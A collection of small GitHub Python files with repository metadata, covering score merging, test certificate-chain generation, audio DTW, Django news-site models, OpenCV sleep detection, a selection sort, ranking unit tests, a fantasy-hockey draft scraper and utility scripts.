+{"seq_id":"13614224891","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul  6 07:58:17 2018\n\n@author: hwj\n\"\"\"\n\nimport pandas as pd\nimport math\n\nresult1 = pd.read_csv(\"/hwj/ant/6_0.5_0.01_200.csv\")\nresult2 = pd.read_csv(\"/hwj/ant/xgb_ant2_b_depth_6_0.5_100.csv\")\n\na = result1['score'].apply(lambda x: math.log(x/(1-x)))\nb = result2['score'].apply(lambda x: math.log(x/(1-x)))\nc = 0.5*a+0.5*b\nz = c.apply(lambda x: 1/(1+math.exp(-x)))\nprint(z.max())\nprint(z.min())\nprint(z.mean())\n\nres = result1.id\nres = pd.concat([res, z], axis=1)\nres.to_csv('/hwj/ant/result_merge.csv', index=0)","repo_name":"huowj/Ant","sub_path":"python/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1436640537","text":"#!/usr/bin/env python\n\nfrom utils import cert_utils\nimport string\n\nsubj = \"cn=www.test.org,ST=Texas,L=San Antonio,O=Rackspace,C=US\"\n\nroot_key = cert_utils.genkey(2048)\nroot_csr = cert_utils.gencsr(subj, root_key)\nroot_crt = cert_utils.self_sign_csr(root_csr,root_key)\n\nprint(\"Root key csr and crt\\n\")\nprint(\"key:\\n{0}\\ncsr:\\n{1}\\ncrt:\\n{2}\\n\".format(root_key,root_csr,root_crt))\n\n#imd1 is signed by root\nimd1_key = cert_utils.genkey(2048)\nimd1_csr = cert_utils.gencsr(\"cn=IMD1\", imd1_key)\nimd1_crt = cert_utils.sign_csr(imd1_csr, root_key, root_crt,ca=True)\n\n#imd2 is signed by imd1\nimd2_key = cert_utils.genkey(2048)\nimd2_csr = cert_utils.gencsr(\"cn=IMD2\", imd2_key)\nimd2_crt = cert_utils.sign_csr(imd2_csr, imd1_key, imd1_crt,ca=True)\n\n\n#imd3 is signed by imd2\nimd3_key = cert_utils.genkey(2048)\nimd3_csr = cert_utils.gencsr(\"cn=IMD3\", imd3_key)\nimd3_crt = cert_utils.sign_csr(imd3_csr, imd2_key, imd2_crt, ca=True)\n\n\n#lastly lets generate the user end certificate will be singed by imd3\nsubj = \"\".join([\"cn=www.test.org,st=Texas,L=San Antonio,C=US,\",\n                \"O=Rackspace, OU=Cloud LoadBalancing\"])\nuser_key = cert_utils.genkey(2048)\nuser_csr = cert_utils.gencsr(subj, user_key)\nuser_crt = cert_utils.sign_csr(user_csr, imd3_key, imd3_crt, ca=False)\n\n#so the whole chain is\n\nopen(\"./root.crt\",\"w\").write(root_crt)\nopen(\"./imds.crt\",\"w\").write(imd1_crt + imd2_crt + imd3_crt)\nopen(\"./user.crt\",\"w\").write(user_crt)\n\nprint(\"you can verify by running the command\\n\")\nprint(\"openssl verify -CAfile root.crt -untrusted imds.crt user.crt\")\n","repo_name":"crc32a/csr_sign_exp","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"8091138502","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport librosa\nimport IPython.display \nfrom IPython.display import Image\nimport librosa.display\nfrom scipy.spatial.distance import euclidean\nfrom fastdtw import fastdtw\nfrom DTW import dtw\n\nx = ''\n\nstart = 'Audio File\"\\\"'\nend = '.wav'\n\nref = 'Audio File\\JnTExpressx1.wav'\ntest1 = 'Audio File\\JnTExpressx0.5.wav'\ntest2 = 'Audio File\\MemohonMaafx1.wav'\n\ny1, sr1 = librosa.load(ref)\ny2, sr2 = librosa.load(test1)\ny3, sr3 = librosa.load(test2)\n\ny_harmonic1, y_percussive1 = librosa.effects.hpss(y1)\ny_harmonic2, y_percussive2 = librosa.effects.hpss(y2)\ny_harmonic3, y_percussive3 = librosa.effects.hpss(y3)\n\nmfcc1 = librosa.feature.mfcc(y=y_percussive1, sr=sr1, n_mfcc=13)\nmfcc2 = librosa.feature.mfcc(y=y_percussive2, sr=sr2, n_mfcc=13)\nmfcc3 = librosa.feature.mfcc(y=y_percussive3, sr=sr3, n_mfcc=13)\n\nx = np.amax(mfcc1, axis=1)\ny = np.amax(mfcc2, axis=1)\nz = np.amax(mfcc3, axis=1)\n\nx_matrix = np.array(dtw(x,y))\ny_matrix = np.array(dtw(x,z))\n\nprint(x_matrix)\nprint()\nprint(y_matrix)\nprint()\n\nprint(\"The distance between\", ref[ref.find(start)+len(start):ref.rfind(end)],\"and\", test1[test1.find(start)+len(start):test1.rfind(end)],\"is equal to\", x_matrix[x_matrix.shape[0]-1,x_matrix.shape[1]-1])\nprint(\"The distance between\", ref[ref.find(start)+len(start):ref.rfind(end)],\"and\", test2[ref.find(start)+len(start):test2.rfind(end)],\"is equal to\", y_matrix[y_matrix.shape[0]-1,y_matrix.shape[1]-1])","repo_name":"afique13/Dynamic-Time-Warping-for-Audio-Analysis","sub_path":"Audio.py","file_name":"Audio.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18141330721","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.db.models import Q, Sum\n\n\ndef coalesce(*args):\n    for el in args:\n        if el is not None:\n            return el\n    return None\n\n\nclass Articles(models.Model):\n    title = models.CharField(max_length=120)\n    body = models.TextField(blank=True)\n    create_datetime = models.DateTimeField()\n    pub_datetime = models.DateTimeField(\n        blank=True,\n        null=True\n    )\n    lasted_datetime = models.DateTimeField(\n        blank=True,\n        null=True\n    )\n    author = models.ForeignKey(\n        User,\n        on_delete=models.SET_NULL,\n        null=True,\n        verbose_name='Автор',\n        related_name='Articles'\n    )\n    tags = models.TextField(blank=True)\n    status = models.CharField(max_length=24)\n    objects = models.Manager()\n\n    @property\n    def rating_sum(self):\n        return coalesce(self.Rating.all().aggregate(rating_sum=Sum('rating_weight')).get('rating_sum'), 0)\n\n    def __str__(self):\n        return self.title\n\n    class Meta:\n        verbose_name = 'Статья'\n        verbose_name_plural = 'Статьи'\n\n        permissions = (\n            (\"restore_articles\", \"Can restore Articles\"),\n            (\"publish_articles\", \"Can publish drafts of Articles\"),\n            (\"view_published\", \"Can view published Articles\"),\n            (\"view_draft\", \"Can view drafts of Articles\"),\n            (\"view_deleted\", \"Can view deleted Articles\")\n        )\n\n\nclass Views(models.Model):\n    article = models.ForeignKey(\n        Articles,\n        on_delete=models.SET_NULL,\n        null=True,\n        verbose_name='Статья',\n        related_name='Views'\n    )\n    user = models.ForeignKey(\n        User,\n        on_delete=models.SET_NULL,\n        blank=True,\n        null=True,\n        verbose_name='Пользователь'\n    )\n    user_ip = models.CharField(\n        max_length=16,\n        blank=True,\n        null=True\n    )\n    view_datetime = models.DateTimeField(\n        blank=True,\n        null=True\n    )\n    view_type = models.CharField(\n        max_length=24,\n        default='Default'\n    )\n    view_weight = models.IntegerField(default=1)\n    objects = models.Manager()\n\n    def __str__(self):\n        return str(self.article) + \"[\" + str(self.view_datetime) + \"]\"\n\n    class Meta:\n        verbose_name = 'Просмотры'\n        verbose_name_plural = 'Просмотры'\n\n\nclass Rating(models.Model):\n    article = models.ForeignKey(\n        Articles,\n        on_delete=models.PROTECT,\n        verbose_name='Статья',\n        related_name='Rating'\n    )\n    user = models.ForeignKey(\n        User,\n        on_delete=models.SET_NULL,\n        blank=True,\n        null=True,\n        verbose_name='Пользователь',\n        related_name='Given_rating'\n    )\n    rating_datetime = models.DateTimeField(\n        blank=True,\n        null=True\n    )\n    rating_type = models.CharField(\n        max_length=24,\n        default='Default'\n    )\n    rating_weight = models.IntegerField(default=1)\n    status = models.CharField(\n        max_length=24,\n        default='Active'\n    )\n    objects = models.Manager()\n\n    def __str__(self):\n        return str(self.article) + \": \" + \"{:+}\".format(self.rating_weight)\n\n    class Meta:\n        verbose_name = 'Рейтинг'\n        verbose_name_plural = 'Рейтинг'\n        unique_together = ('article', 'user')\n\n\nclass Comments(models.Model):\n    article = models.ForeignKey(\n        Articles,\n        on_delete=models.PROTECT,\n        verbose_name='Статья',\n        related_name='Comments'\n    )\n    reply_to = models.ForeignKey(\n        \"self\",\n        on_delete=models.PROTECT,\n        blank=True,\n        null=True,\n        default=None,\n        verbose_name='Ответ на',\n        related_name='Replies'\n    )\n    user = models.ForeignKey(\n        User,\n        on_delete=models.SET_NULL,\n        blank=True,\n        null=True,\n        verbose_name='Пользователь',\n        related_name='Comments'\n    )\n    comment = models.TextField()\n    comment_datetime = models.DateTimeField(\n        blank=True,\n        null=True\n    )\n    status = models.CharField(\n        max_length=24,\n        default='published'\n    )\n    objects = models.Manager()\n\n    @property\n    def rating_sum(self):\n        return coalesce(self.Rating.all().aggregate(rating_sum=Sum('rating_weight')).get('rating_sum'), 0)\n\n    def __str__(self):\n        return str(self.user) + \": \" + str(self.article) + \"[{}]\".format(self.comment_datetime)\n\n    class Meta:\n        verbose_name = 'Комменатрий'\n        verbose_name_plural = 'Комментарии'\n\n        permissions = (\n            (\"restore_comments\", \"Can restore Comments\"),\n            (\"view_deleted\", \"Can view deleted Comments\")\n        )\n\n\nclass CommentsRating(models.Model):\n    comment = models.ForeignKey(\n        Comments,\n        on_delete=models.PROTECT,\n        verbose_name='Комменатрий',\n        related_name='Rating'\n    )\n    user = models.ForeignKey(\n        User,\n        on_delete=models.SET_NULL,\n        blank=True,\n        null=True,\n        verbose_name='Пользователь',\n        related_name='Given_commentsrating'\n    )\n    rating_datetime = models.DateTimeField(\n        blank=True,\n        null=True\n    )\n    rating_type = models.CharField(\n        max_length=24,\n        default='Default'\n    )\n    rating_weight = models.IntegerField(default=1)\n    status = models.CharField(\n        max_length=24,\n        default='Active'\n    )\n    objects = models.Manager()\n\n    def __str__(self):\n        return \"(\" + str(self.comment) + \"): \" + \"{:+}\".format(self.rating_weight)\n\n    class Meta:\n        verbose_name = 'Рейтинг комменатрия'\n        verbose_name_plural = 'Рейтинг комменатриев'\n        unique_together = ('comment', 'user')\n\n\nclass Reportable(models.Model):\n    def __init__(self, *args, obj=None, **kwargs):\n        super().__init__(*args, **kwargs)\n        if obj:\n            self.object = obj\n\n    article = models.ForeignKey(\n        Articles,\n        on_delete=models.PROTECT,\n        blank=True,\n        null=True,\n        verbose_name='Статья',\n        related_name='Reported'\n    )\n    comment = models.ForeignKey(\n        Comments,\n        on_delete=models.PROTECT,\n        blank=True,\n        null=True,\n        verbose_name='Комменатрий',\n        related_name='Reported'\n    )\n    objects = models.Manager()\n\n    @property\n    def object(self):\n        return coalesce(self.article, self.comment)\n\n    @object.setter\n    def object(self, obj):\n        if isinstance(obj, Articles):\n            self.article = obj\n            self.comment = None\n        elif isinstance(obj, Comments):\n            self.comment = obj\n            self.article = None\n        else:\n            raise TypeError(\"Not a Reportable model\")\n\n    def __str__(self):\n        obj = self.object\n        return obj._meta.verbose_name + \" \" + str(obj)\n\n    class Meta:\n        constraints = [\n            models.CheckConstraint(check=Q(article=None) | Q(comment=None), name='one_field_none'),\n        ]\n\n\nclass ReportTypes(models.Model):\n    codename = models.CharField(\n        max_length=24,\n        unique=True\n    )\n    name = models.CharField(max_length=64)\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        verbose_name = 'Тип жалобы'\n        verbose_name_plural = 'Типы жалоб'\n\n\nclass Reports(models.Model):\n    object = models.ForeignKey(\n        Reportable,\n        on_delete=models.PROTECT,\n        verbose_name='Объект жалобы',\n        related_name='Reports'\n    )\n    user = models.ForeignKey(\n        User,\n        on_delete=models.SET_NULL,\n        blank=True,\n        null=True,\n        verbose_name='Пользователь',\n        related_name='Reported'\n    )\n    type = models.ForeignKey(\n        ReportTypes,\n        on_delete=models.SET_NULL,\n        blank=True,\n        null=True,\n        verbose_name='Тип жалобы',\n        related_name='Reports'\n    )\n    comment = models.TextField()\n    report_datetime = models.DateTimeField(\n        blank=True,\n        null=True\n    )\n    status = models.CharField(\n        max_length=24,\n        default='Open'\n    )\n    objects = models.Manager()\n\n    def __str__(self):\n        return str(self.user) + \": \" + str(self.object)\n\n    class Meta:\n        verbose_name = 'Жалоба'\n        verbose_name_plural = 'Жалобы'\n\n        permissions = (\n            (\"consider_reports\", \"Can consider Reports\"),\n            (\"review_reports\", \"Can review Reports\")\n        )\n","repo_name":"onlikerop/FockNews","sub_path":"Main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"41694357571","text":"import cv2\r\nimport pandas as pd\r\nimport os\r\n\r\ndef sleep_detection(filesource, view_detection=False):\r\n    if not os.path.exists(filesource):\r\n        print('Video not found')\r\n        return False\r\n    \r\n    eye_cascPath = 'model/haarcascade_eye_tree_eyeglasses.xml'  #eye detect model\r\n    face_cascPath = 'model/haarcascade_frontalface_alt.xml'  #face detect model\r\n    faceCascade = cv2.CascadeClassifier(face_cascPath)\r\n    eyeCascade = cv2.CascadeClassifier(eye_cascPath)\r\n\r\n    cap = cv2.VideoCapture(filesource)\r\n    fps = cap.get(cv2.CAP_PROP_FPS)\r\n    max_blink = 400\r\n    max_no_eyes = int(max_blink/(1000/fps))\r\n    fps_window = max_no_eyes*2\r\n    if fps_window % 2 == 0:\r\n        fps_window += 1\r\n\r\n    window = []\r\n    face = 0\r\n    frames = 0\r\n    f_sleep = 0\r\n    f_awake = 0\r\n    states = []\r\n\r\n    while(cap.isOpened()):\r\n        ret, img = cap.read()\r\n        if ret:\r\n            frame = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n            frames += 1\r\n            \r\n            # Detect faces in the image\r\n            faces = faceCascade.detectMultiScale(\r\n                frame,\r\n                scaleFactor=1.1,\r\n                minNeighbors=3,\r\n                minSize=(30, 30),\r\n            )\r\n            # Detect face\r\n            if len(faces) > 0:\r\n                face += 1\r\n                frame = frame[faces[0][1]:faces[0][1] + faces[0][3], faces[0][0]:faces[0][0] + faces[0][2]:1]\r\n                eyes = eyeCascade.detectMultiScale(\r\n                    frame,\r\n                    scaleFactor=1.1,\r\n                    minNeighbors=31,\r\n                    minSize=(30, 30),\r\n                )\r\n                if len(eyes) == 0:\r\n                    window.append(1)                \r\n                else:\r\n                    window.append(0)\r\n                    \r\n                    \r\n                if len(window) > fps_window:\r\n                        window = window[1:]\r\n                        \r\n                sleep = window.count(1)\r\n                awake = window.count(0)\r\n                \r\n                if sleep > awake:\r\n                    # Sleep\r\n                    eye_color = (0, 0, 255)\r\n                    f_sleep += 1\r\n                    states.append(1)\r\n                else:\r\n                    # Awake==\r\n                    eye_color = (255, 0, 0)\r\n                    f_awake += 1\r\n                    states.append(0)\r\n                    \r\n                if view_detection:\r\n                    # Draw rectangles around the face and around the eyes\r\n                    for (x, y, w, h) in faces:\r\n                        cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\r\n                        roi = img[y:y+h, x:x+w]\r\n                        eyes = eyeCascade.detectMultiScale(roi)\r\n                        for (ex,ey,ew,eh) in eyes:\r\n                                cv2.rectangle(roi,(ex,ey),(ex+ew,ey+eh), eye_color, 2)\r\n                        \r\n                    cv2.imshow('Face Recognition', img)\r\n                    \r\n            else:\r\n                states.append(-1)\r\n                \r\n            if view_detection:\r\n                cv2.imshow('Face Recognition', img)\r\n        else:\r\n            # End video\r\n            break\r\n            \r\n        if cv2.waitKey(1) & 0xFF == ord('q'):\r\n            break\r\n\r\n    cap.release()\r\n    cv2.destroyAllWindows()\r\n    return frames, face, states\r\n\r\ndef process_videos(datasource, video_path, results_path):\r\n    data = pd.read_csv(datasource)\r\n    results = {'filename':[], 'total_frames':[], 'face_frames':[], 'sleep_frames':[], 'awake_frames':[], 'sleep':[]}\r\n    \r\n    for i in range(data.shape[0]):\r\n        filename = data.iloc[i]['filename']\r\n        frames, face, states = sleep_detection(video_path+filename)\r\n        file_data = pd.DataFrame(states)\r\n    \r\n        file_data.to_csv(results_path+filename[:-4]+'.csv', index=False)\r\n        \r\n        results['filename'].append(filename)\r\n        results['total_frames'].append(frames)\r\n        results['face_frames'].append(face)\r\n        results['sleep_frames'].append(states.count(1))\r\n        results['awake_frames'].append(states.count(0))\r\n        results['sleep'].append(data.iloc[i]['sleep'])\r\n        \r\n    \r\n    results_data = pd.DataFrame(results)\r\n    results_data.to_csv(results_path+'results.csv', index=False)\r\n\r\n\r\n#process_videos('sleep.csv', 'videos/' ,'results/')\r\nframes, face, states = sleep_detection('videos/007_awake.mp4', view_detection=True)\r\n\r\n","repo_name":"DragonTaiko/sleep-detection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38956556184","text":"def random_list():\n    \"\"\"\n    Produce a list of pseudorandom integers.\n    The list's length is chosen pseudorandomly in the\n    range 3-20.\n    The integers in the list range from -50 to 50.\n    \"\"\"\n    from random import randrange\n    result = []\n    count = randrange(3, 20)\n    for i in range(count):\n        result += [randrange(-50, 50)]\n    return result\n\n\ndef less_than(m, n):\n    \"\"\"  Returns true if m is less than n; otherwise, returns false \"\"\"\n    return m < n\n\n\ndef greater_than(m, n):\n    \"\"\"  Returns true if m is greater than n; otherwise, returns false \"\"\"\n    return m > n\n\n\ndef selection_sort(lst, cmp): \n    \"\"\"\n    Arranges the elements of list lst in ascending order.\n    The comparer function cmp is used to order the elements.\n    The contents of lst are physically rearranged.\n    \"\"\"\n    n = len(lst)\n    for i in range(n - 1):\n        # Note: i, small, and j represent positions within lst\n        # lst[i], lst[small], and lst[j] represent the elements at\n        # those positions.\n        # small is the position of the smallest value we've seen\n        # so far; we use it to find the smallest value less \n        # than lst[i]\n        small = i  \n        # See if a smaller value can be found later in the list\n        # Consider all the elements at position j, where i < j < n.\n        for j in range(i + 1, n):\n            if cmp(lst[j], lst[small]):\n                small = j       # Found a smaller value\n        # Swap lst[i] and lst[small], if a smaller value was found\n        if i != small:\n            lst[i], lst[small] = lst[small], lst[i]\n \n\ndef main():\n    \"\"\"\n    Tests the selection_sort function\n    \"\"\"\n    original = random_list()       # Make a random list\n    working = original[:]          # Make a working copy of the list\n    print('Original:  ', working)\n    selection_sort(working, less_than)  # Sort ascending\n    print('Ascending: ', working)\n    working = original[:]          # Make a working copy of the list\n    print('Original:  ', working)\n    selection_sort(working, greater_than)  # Sort descending\n    print('Descending:', working)\n\n\nmain()\n","repo_name":"halterman/PythonBook-SourceCode","sub_path":"Chap15/flexiblesort.py","file_name":"flexiblesort.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"21"}
+{"seq_id":"1686727236","text":"import random\nimport unittest\nimport numpy as np\n\nfrom rvranking.rankingComponents import input_fn\nfrom rvranking.sampling.elwcWrite import write_elwc\nfrom rvranking.sampling.main import prep_samples_list\nfrom rvranking.sampling.samplingClasses import Sample, RVList, RV\nfrom rvranking.globalVars import _TRAIN_DATA_PATH, _RV_FEATURE, _EVENT_FEATURE, _EVENT_FEATURES, _RV_FEATURES\nfrom rvranking.dataPrep import samples, timelines, allevents, prep_samples, get_timelines_raw, \\\n    prep_timelines, prep_allevents, TD_PERWK, WEEKS_B, WEEKS_A, KMAX, rvs, rvfirstev, get_test_files, PPH, RV_TLINE_LEN\nimport tensorflow as tf\n\nfrom rvranking.sampling.scikitDataGet import x_y_data\n\n\ndef sample_test(cls, s, tlines, allevs):\n    rv = s.rv\n    tline = tlines.loc[str(rv)]\n    ev_tline_val = tline.loc[str(s.start):str(s.end)].values\n    ev = allevs.loc[s.id]\n    if s.teams:\n        pass\n    else:\n        cls.assertEqual(ev['End'], s.end)\n    cls.assertEqual(ev['Start'], s.start)\n    cls.assertEqual(ev['Rv'], s.rv)\n    cls.assertEqual(ev['Type'], s.evtype)\n    cls.assertEqual(ev['Rv added'], s.rv_added)\n    evtype = s.evtype\n    cls.assertEqual((evtype == ev_tline_val).all(), True)\n\n\ndef sampling_test(cls, s, allevs_all=None):\n    if allevs_all is not None:\n        oneday = PPH * 24\n        range_start = int(s.rangestart - oneday)\n        if range_start < 0:\n            range_start = 0\n        range_end = int(s.rangeend + oneday)\n        if range_end > KMAX:\n            range_end = KMAX\n\n        idx = np.where((allevs_all['Start'] >= range_start) & (allevs_all['End'] <= range_end))\n        evs_range = allevs_all.iloc[idx]\n\n    for r in s.rvli:\n        cls.assertEqual(r.tline.size, RV_TLINE_LEN)\n        cls.assertEqual(r.tline.iloc[WEEKS_B * TD_PERWK], 0)  # WEEKS_B  * TD_PERWK\n        cls.assertEqual(r.tline.loc[str(s.start):str(s.end)].any(), False)  # all zero\n        if allevs_all is not None:\n            index_vals = r.tline.index.values\n            min_t = int(index_vals[0])\n            max_t = int(index_vals[-1])\n            rv_added = s.rv_added\n            allevs = evs_range[evs_range['Rv'] == r.id]\n            allevs = allevs[allevs['Rv added'] >= rv_added]\n            for eid, row in allevs.iterrows():\n                if eid == s.id:\n                    continue\n                st = row['Start']\n                et = row['End']\n                if st < min_t or et > max_t:\n                    continue\n                cls.assertEqual(st, s.start)\n                r_tline_ev = r.tline.loc[str(st):str(et)].values\n                cls.assertEqual((0 == r_tline_ev).all(), True)\n        if 'rv_ff' in _EVENT_FEATURES or 'rv_ff' in _RV_FEATURES:\n            if s.rv_ff == r.id:\n                cls.assertEqual(r.rv_ff, 1)\n\n\nclass TestSampling(unittest.TestCase):\n\n    def test_samples(self):\n        sample_list_all = [Sample(s) for i, s in samples.iterrows()]\n        random.shuffle(sample_list_all)\n        tlines = timelines\n        allevs = allevents\n        for s in sample_list_all:\n            sample_test(self, s, tlines, allevs)\n\n    def test_prediction_samples(self):\n        samples_pred, tlines, allevs, rvs, rvfirstev = get_test_files()\n        sample_list_all = [Sample(s) for i, s in samples_pred.iterrows()]\n        s = sample_list_all[0]\n        ist = int(s.start - (TD_PERWK * WEEKS_B))\n        iet = int(s.start + TD_PERWK * WEEKS_A)\n        self.assertGreaterEqual(ist, 0)  # ist >= 0\n        self.assertLessEqual(iet, KMAX)\n        for s in sample_list_all:\n            sample_test(self, s, tlines, allevs)\n\n    def test_sampling(self):\n        less_samples = samples.sample(n=50) # random rows\n        sample_list_all = [Sample(s) for i, s in less_samples.iterrows()]\n        rvlist_all = RVList([RV(r) for i, r in rvs.iterrows()])\n        train_ratio = 0.7\n\n        sample_list_train, sample_list_test = prep_samples_list(sample_list_all,\n                                                                rvlist_all,\n                                                                train_ratio=train_ratio,\n                                                                timelines_spec=timelines,\n                                                                rvfirstev_spec=rvfirstev,\n                                                                allevents_spec=allevents\n                                                                )\n        s_list_tot = sample_list_train + sample_list_test\n        assert len(s_list_tot) > 0\n        for s in s_list_tot:\n            sampling_test(self, s)\n\n        x_train, y_train, xy_train = x_y_data(s_list_tot)\n\n    def test_prediction_sampling(self):\n        samples_pred, tlines_pred, allevs_pred, rvs_pred, rvfirstev_pred = get_test_files()\n        sample_list_all = [Sample(s) for i, s in samples_pred.iterrows()]\n        rvlist_all = RVList([RV(r) for i, r in rvs_pred.iterrows()])\n        train_ratio = 0.7\n\n        sample_list_train, sample_list_test = prep_samples_list(sample_list_all,\n                                                                rvlist_all,\n                                                                train_ratio=train_ratio,\n                                                                timelines_spec=tlines_pred,\n                                                                rvfirstev_spec=rvfirstev_pred,\n                                                                allevents_spec=allevs_pred\n                                                                )\n        s_list_tot = sample_list_train + sample_list_test\n        for s in s_list_tot:\n            sampling_test(self, s, allevs_pred)\n            self.assertEqual(len(s.rvli), 5)\n        x_train, y_train, xy_train = x_y_data(s_list_tot)\n\n    def _test_write_and_input(self):\n        # _sampling\n        write_elwc()\n\n        feat, labs = input_fn(_TRAIN_DATA_PATH)\n        print('label', labs.shape)\n        for k, item in feat.items():\n            print('feat', k, item.shape)\n        print('first 5 labels', labs[0, :5].numpy())  # [0. 0. 0. 0. 1.]\n        event_t = tf.sparse.to_dense(feat[_EVENT_FEATURE])  # spare tensor to dense\n        rv_t = tf.sparse.to_dense(feat[_RV_FEATURE])\n        # print ('indices', query_st.indices[0][0]) #which indix has first value\n        print('event values', event_t[0])\n        # check slicing notification!\n        print('rv values', rv_t[0, :5, :10].numpy()) # sample 1, first 5 rvs, first 10 features\n\n\nif __name__ == '__main__':\n    unittest.main()\n    print('sampling tests finished')\n","repo_name":"hodeld/rbs-ranking","sub_path":"rvranking/sampling/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42112063292","text":"import traceback\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n# Hockey Pool classes\nimport browser\n\n\ndef scrape_draft_picks():\n    \"\"\"Scrapes the draft picks data from Fantrax and returns a list of dictionaries.\"\"\"\n\n    try:\n\n        driver = browser.setBrowserOptions()\n\n        # Set default wait time\n        wait = WebDriverWait(driver, 60)\n\n        driver.get('https://www.fantrax.com/newui/fantasy/draftPicks.go?leagueId=fcchh3fklgl33mrk&season=2023&viewType=ROUND')\n\n        # Find all the draft results tables\n        draft_results_tables = wait.until(EC.presence_of_all_elements_located((By.CLASS_NAME, 'draftResultsTable')))\n\n        # Create a list of dictionaries for each draft pick\n        draft_picks = [\n            {\n                \"manager\": draft_pick_data.find_elements(By.TAG_NAME, \"td\")[0].text,\n                \"draft_round\": i + 1,\n                \"round_pick\": int(draft_pick_data.find_elements(By.TAG_NAME, \"td\")[1].text),\n                \"overall_pick\": int(draft_pick_data.find_elements(By.TAG_NAME, \"td\")[2].text),\n            }\n            for i, table in enumerate(draft_results_tables)\n            for draft_pick_data in table.find_elements(By.TAG_NAME, \"tr\")[1:]  # Skip the first row with column headings\n        ]\n\n        # for the 2023-2024 draft, there are 2 additional (one-time) rounds for rookies\n        original_draft_order = ['Horse Palace 26', 'Shawsome1', 'Camaro SS', 'Witch King', 'WhatA LoadOfIt', 'Banshee', 'High Cheese Chedsie', 'One Man Gang Bang', 'El Paso Pirates', 'Urban Legends', 'Wheels On Meals', \"Fowler's Flyers\", 'CanDO Know Huang']\n        overall_pick = 157\n        for draft_round in [13, 14]:\n            if draft_round == 14:\n                original_draft_order.reverse()\n            for round_pick, manager in enumerate(original_draft_order, start=1):\n                draft_picks.append({\n                    'manager': manager,\n                    'draft_round': draft_round,\n                    'round_pick': round_pick,\n                    'overall_pick': overall_pick,\n                })\n                overall_pick += 1\n\n        # Create a dictionary to hold pick count for each manager\n        pick_count = {}\n        # Iterate over draft_picks to add managers_pick_number\n        for item in draft_picks:\n            manager = item['manager']\n            if manager not in pick_count:\n                pick_count[manager] = 0\n            pick_count[manager] += 1\n            item['managers_pick_number'] = pick_count[manager]\n            item['drafted_player'] = ''\n\n    except Exception as e:\n        print(f\"An exception occurred in scrape_draft_picks(): {e}\\n{traceback.format_exc()}\")\n\n    finally:\n        # Delete the driver object\n        del driver\n\n    return draft_picks\n","repo_name":"roysuthers/vfhl","sub_path":"python/fantrax.py","file_name":"fantrax.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6147355261","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr  6 09:57:47 2023\n\n@author: dkane\n\"\"\"\nimport Semi_ATE.STDF as stdf\n\n# Open the STDF file\nwith stdf.stdf(\"input.stdf\") as f:\n    # Convert to ATDF format\n    atdf_data = f.to_atdf()\n\n# Write the ATDF data to a file\nwith open(\"output.atdf\", \"w\") as f:\n    f.write(atdf_data)\n","repo_name":"dyrkane7/stdf_processing","sub_path":"untitled0.py","file_name":"untitled0.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"477303328","text":"import os\nimport random\nfrom datetime import datetime, timedelta\n\n\ndef get_random_date_str():\n    # 指定时间范围\n    year = random.randint(2021, 2024)\n    month = random.randint(1, 12)\n    day = random.randint(1, 28)\n    start_time = datetime(year, month, day)\n    end_time = start_time + timedelta(days=random.randint(1, 365))\n\n    # 生成随机时间戳\n    time_diff = end_time - start_time\n    random_time = start_time + timedelta(seconds=random.randint(0, int(time_diff.total_seconds())))\n\n    # 将时间戳转换为指定格式的时间字符串\n    time_string = random_time.strftime('%a, %d %b %Y %H:%M:%S GMT')\n    return time_string\n\n","repo_name":"Rakbow/requests_test","sub_path":"requests_tool.py","file_name":"requests_tool.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
